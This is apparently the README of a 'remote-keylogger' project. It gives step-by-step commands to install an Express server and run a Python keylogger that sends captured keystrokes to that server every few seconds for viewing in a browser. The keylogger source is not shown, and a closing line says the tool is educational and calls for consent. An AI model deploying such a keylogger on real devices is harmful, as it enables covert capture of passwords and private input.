Setup and Installation

Prerequisites

• Node.js
• npm
• Python 3
• pip
• venv (Python virtual environment)

Installation Steps

1. Clone the repository

   git clone https://github.com/jimididit/remote-keylogger
   cd remote-keylogger

2. Setup Express Server

   Navigate to the directory containing server.js and run the following commands:

   sudo apt update
   sudo apt upgrade
   sudo apt install nodejs
   sudo apt install npm
   sudo npm init -y
   sudo npm install express body-parser

3. Setup Python Keylogger

   Navigate to the directory containing keylogger.py and create a virtual environment:

   python3 -m venv venv
   source venv/bin/activate  # On Windows use `venv\Scripts\activate`

   Install the required Python packages within the virtual environment:

   pip install -r requirements.txt

4. Run the Express Server

   Start the Express server by running:

   node server.js

5. Run the Keylogger Script

   Ensure the virtual environment is activated, then execute the keylogger script with the following command:

   python3 keylogger.py 127.0.0.1 8080 10

   Here, 127.0.0.1 is the IP address of the server, 8080 is the port number, and 10 is the time interval (in seconds) for sending keystroke data.

Using setup.py for Automated Setup

You can also use the setup.py script to automate the setup process. Ensure the commands.txt file contains the necessary setup commands. Then, run the setup script:

1. Make sure commands.txt contains:

   sudo apt update
   sudo apt upgrade
   sudo apt install nodejs
   sudo apt install npm
   sudo npm init -y
   sudo npm install
   sudo reboot
   

2. Run the setup script:

   python3 setup.py

Usage

After setting up and running both the Express server and the keylogger script, keystrokes will be logged and sent to the server. Open a web browser and navigate to http://127.0.0.1:8080 to view the captured keystrokes.

Security and Privacy

This project is for educational purposes only. Logging keystrokes can be a significant privacy risk. Ensure you have the proper permissions and consents before using this software on any device.
